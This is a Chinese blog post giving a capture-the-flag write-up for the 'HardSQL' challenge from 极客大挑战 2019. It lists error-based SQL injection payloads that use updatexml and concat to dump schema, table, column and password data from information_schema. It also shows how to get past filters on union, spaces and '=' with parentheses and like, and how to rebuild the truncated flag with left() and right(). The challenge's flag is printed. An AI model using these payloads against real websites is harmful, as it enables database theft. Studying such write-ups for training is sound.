[极客大挑战 2019]HardSQL 1

在这里插入图片描述
在这里插入图片描述1.第一步猜测是什么闭合 一般用’ 或者 ‘’ 或者 ‘) 或者 ‘’)
当我们用’闭合发现报错说明可能是 ’ 这个时候再加注释 可以用%23、–+、#、–空格
在这里插入图片描述
这时候我们加上注释发现就不报错了,那么可以认定就是’闭合
在这里插入图片描述
3.这时候我们用order by 查看回显发现过滤了
在这里插入图片描述
4.这个时候我们就要在1’ 这个中间试有哪些被过滤了%23,发现select,from,or都报错了,没有回显’你可别被我逮住了,说明select,from,or都没有被过滤,但是union被过滤了,淦!!!那么正常的0’union select group_concat(schema_name)from information_schema.schemata用不了
在这里插入图片描述在这里插入图片描述
在这里插入图片描述5.那用不了union 但是我们可以用双注入

1.updatexml(1,concat(0x7e,database(),0x7e),1)
   显示单个数据库
2.updatexml(1,concat(0x7e,select group_concat(schema_name)from information_schema.schemata,0x7e),1)
   显示所有数据库
3.updatexml(1,concat(0x7e,select group_concat(table_name)from information_schema.tables where table_schema=database(),0x7e),1)
   显示所有数据表
4.updatexml(1,concat(0x7e,select group_concat(column_name)from information_schema.columns where table_name=xxx,0x7e),1)
    显示所有列
5.updatexml(1,concat(0x7e,select group_concat(id ,passwd,)from 某某库.某某表,0x7e),1)


6 or没被过滤其他也没有过滤,之前默默试了concat、1,updatexml,那么真相只有一个那就空格~呜呜呜真有他么的
在这里插入图片描述7.果然是这个该死的空格,那么我们就用括号绕过
在这里插入图片描述8.爆出数据表geek
在这里插入图片描述
9.很明显还有geek没有爆出来,位置不够,那怎么办勒,用left()、right()

在这里插入图片描述
10.也不行,那就用database()回显回来的geek,就不要勉强全部回显
在这里插入图片描述

11.因为=被过滤所以用like代替,爆出表
在这里插入图片描述
12.爆出数据列

在这里插入图片描述

13.爆值,结果有一半没出来,继续用left,right

在这里插入图片描述

14.XPATH syntax error: ‘flag{eb36352e-cbdb-4710-aa92-9

在这里插入图片描述right()=XPATH syntax error: ‘e-cbdb-4710-aa92-9e614ec6ddfd}
在这里插入图片描述

组合一下flag{eb36352e-cbdb-4710-aa92-9e614ec6ddfd}

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值